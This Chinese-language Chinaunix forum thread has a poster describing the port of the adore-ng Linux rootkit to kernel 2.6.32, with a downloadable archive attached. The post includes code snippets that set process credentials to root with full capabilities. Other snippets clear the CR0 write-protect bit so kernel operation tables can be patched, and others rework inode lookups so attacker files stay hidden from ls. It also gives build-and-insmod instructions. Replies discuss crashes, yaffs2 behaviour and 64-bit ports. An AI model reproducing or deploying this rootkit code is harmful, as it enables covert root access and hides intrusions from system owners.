Chinaunix

标题: 【原创】rootkit工具adore-ng修改，适合高版本的内核（如2.6.32） [打印本页]

---

作者: lgqss    时间: 2010-05-16 15:04
标题: 【原创】rootkit工具adore-ng修改，适合高版本的内核（如2.6.32）


最近对以前的一个黑客工具adore-ng0.56版本进行了修改，使其可以在ubuntu10.04（2.6.32）运行，也可以在2.6.30上运行，为了修改这个，死机n次。。。。

Adore-ng-0.56源码分析见

http://linux.chinaunix.net/bbs/thread-1138561-1-1.html（感谢他）

由于2.6.32版本内核与以前有一些不同，所以不能编译

主要不同之处在于，

1.struct task_struct中关于权限的字段移到struct cred中去了

1. edit_cred->uid = 0;
   
2. 
   
3.               edit_cred->suid = 0;
   
4. 
   
5.               edit_cred->euid = 0;
   
6. 
   
7.            edit_cred->gid = 0;
   
8. 
   
9.               edit_cred->egid = 0;
   
10. 
    
11.            edit_cred->fsuid = 0;
    
12. 
    
13.               edit_cred->fsgid = 0;
    
14. 
    
15. 
    
16.               cap_set_full(edit_cred->cap_effective);
    
17. 
    
18.               cap_set_full(edit_cred->cap_inheritable);
    
19. 
    
20.               cap_set_full(edit_cred->cap_permitted);

复制代码

2.关于操作的结构都是const类型，直接修改引发oops错误

所以先要去掉cr0寄存器的写保护，如下代码

1. unsigned orig_cr0;   
   
2. 
   
3. /*清除cr0寄存器的写保护位，第16位为WP写保护位*/
   
4. 
   
5. unsigned clear_return_cr0(void)
   
6. 
   
7. {
   
8. 
   
9.        unsigned cr0 = 0;
   
10. 
    
11.        unsigned ret;
    
12. 
    
13.        asm volatile ("movl %%cr0, %%eax"
    
14. 
    
15.        :"=a"(cr0)
    
16. 
    
17.        );
    
18. 
    
19.        ret = cr0;
    
20. 
    
21.        cr0 &= 0xfffeffff;
    
22. 
    
23.        asm volatile ("movl %%eax, %%cr0"
    
24. 
    
25.        :
    
26. 
    
27.        :"a"(cr0)
    
28. 
    
29.        );
    
30. 
    
31.        return ret;
    
32. 
    
33. }
    
34. 
    
35. /*用orig_cr0恢复cr0寄存器*/
    
36. 
    
37. void setback_cr0(unsigned val)
    
38. 
    
39. {
    
40. 
    
41.        asm volatile ("movl %%eax, %%cr0"
    
42. 
    
43.        :
    
44. 
    
45.        :"a"(val)
    
46. 
    
47.        );
    
48. 
    
49. }

复制代码

3.在文件隐藏中，iget函数已经没有了，相应的super_operations里read_inode也没有了，所以采用了新方法获取inode

一开始的想法是用iget_locked代替，但出现的问题是：

（1）    如果文件从来没访问过，那么文件inode不存在，这样iget_locked会新建一个空的inode，但不会填充它，而且后面因为用了unlock_new_inode，使得以后获取到该文件的inode都是空的，所以那些没有访问过的文件以后都不能打开了，ls –l得出的长度什么的全是0

1. if (inode->i_state & I_NEW) {
   
2. 
   
3.         unlock_new_inode(inode);
   
4. 
   
5.         //printk("%lu\n", (unsigned long)inode);
   
6. 
   
7.         inode->i_state |= I_NEW;//没有这句话，会造成文件系统内所有第一次ls的新文件全部不可用
   
8. 
   
9. }

复制代码

后来我想到的方法是加上一句inode->i_state |= I_NEW;这样就重新标记为新节点，有了这个标记的后，文件体统相应的iget函数（如ext4_iget）会填充它

（2）    上面的内核inode破坏问题解决了，还有个问题是，如果inode没缓存（即该文件从没被打开过），那么iget_locked会获取到空的inode， 所以if (uid == ELITE_UID && gid == ELITE_GID)这句话在第一次运行时永远不成立，所以第一次ls有需要隐藏文件的目录时，我们要隐藏的文件还能看的见，第二次ls才会消失，因为第二次我们得到的才是真正的inode。（这里说明一下，ls命令要获取文件信息，就需要打开当前目录下所有文件获取填充好的inode，内核为每个文件调用一次ext4_iget）

这个应该是很严重的问题，我们本来是要隐藏文件的，但第一次能ls能看见，再次ls时消失掉，傻瓜也知道被入侵了。。。



后来我找到了第二种解决办法，在ext4中有个函数是ext4_lookup，用来填充当前目录dentry，提供的参数是父目录的inode，文件未连接的dentry（negative dentry），这个函数用来把dentry和inode连接起来（调用了ext4_iget来填充inode）。

1. 
   
2.        struct inode *inode = NULL;
   
3. 
   
4.        struct dentry *dentry = NULL;
   
5. 
   
6.        struct qstr this;
   
7. 
   
8.        struct dentry *dir = parent_dir[current->pid % 1024];
   
9. 
   
10. 
    
11.        this.name = name;
    
12. 
    
13.        this.len = nlen;
    
14. 
    
15.        this.hash = full_name_hash(this.name, this.len);
    
16. 
    
17.        dentry = d_lookup(dir, &this);//首先看系统中有没有缓存
    
18. 
    
19.        if (!dentry) {
    
20. 
    
21.               dentry = d_alloc(dir, &this);
    
22. 
    
23.               if (!dentry) {
    
24. 
    
25.                      //printk("d_alloc失败%d\n", (int)dentry);
    
26. 
    
27.                      return 0;
    
28. 
    
29.               }
    
30. 
    
31.               if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {
    
32. 
    
33.                      printk("lookup错误\n");
    
34. 
    
35.                      return 0;
    
36. 
    
37.               }
    
38. 
    
39.        }
    
40. 
    
41.        if(!(inode = dentry->d_inode)) {
    
42. 
    
43.        //printk("inode获取失败\n");
    
44. 
    
45.        return 0;
    
46. 
    
47.        }
    

复制代码

当前修改还不是很稳定，好像会出现内核函数writeback_single_inode错误，导致一些问题，但把

       //iput(inode);

       //dput(dentry);，

注释掉后好像又没问题了。

运行方法

make

进入root后

Insmod adore-ng.ko

然后可以用ava运行命令了，详细操作方法见我上面贴出的网址，也可以百度google搜索
adore-ng.rar (49.53 KB, 下载次数: 385)

2010-05-16 15:03 上传

点击文件名下载附件

---

作者: accessory    时间: 2010-05-17 03:51
good. thx for sharing.

---

作者: Godbach    时间: 2010-05-17 10:28
多谢LZ分享。有时间的话在2.6.32的内核上跑一下。

---

作者: lgqss    时间: 2010-05-17 15:08

多谢LZ分享。有时间的话在2.6.32的内核上跑一下。
Godbach 发表于 2010-05-17 10:28

    多谢斑竹大大加分，

---

作者: lgqss    时间: 2010-05-17 15:13

good. thx for sharing.
accessory 发表于 2010-05-17 03:51

    多谢accessory 大大深夜踩楼，

---

作者: accessory    时间: 2010-05-20 23:20
还好，还好

---

作者: scuhurricane    时间: 2012-02-21 16:27
"第二种解决办法，在ext4中有个函数是ext4_lookup" 。当文件系统更是yaffs2时，对应的是yaffs_lookup函数。当程序执行到if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0)
{            
       printk("lookup错误\n");                  
       return 0;
  }

ls命令卡死，用dmesg查看并没有打印出lookup错误，也没有继续向后执行。
何解？
难道这是yaffs2文件系统的bug？

---

作者: guohegong    时间: 2012-05-13 22:02
成功，谢谢楼主

---

作者: guohegong    时间: 2012-05-14 16:59
可以安装成功，但是关机的时候死机

---

作者: cherishchuntg    时间: 2012-05-17 22:54
很想知道有没有64位版本的？

---

作者: sxm0403    时间: 2018-05-03 16:24
64位版本也好修改，把汇编语句movl那几句改改就可以编译通过
但是貌似没有实现端口隐藏啊，楼主能实现吗？

---

欢迎光临 Chinaunix (http://bbs.chinaunix.net/)

Powered by Discuz! X3.2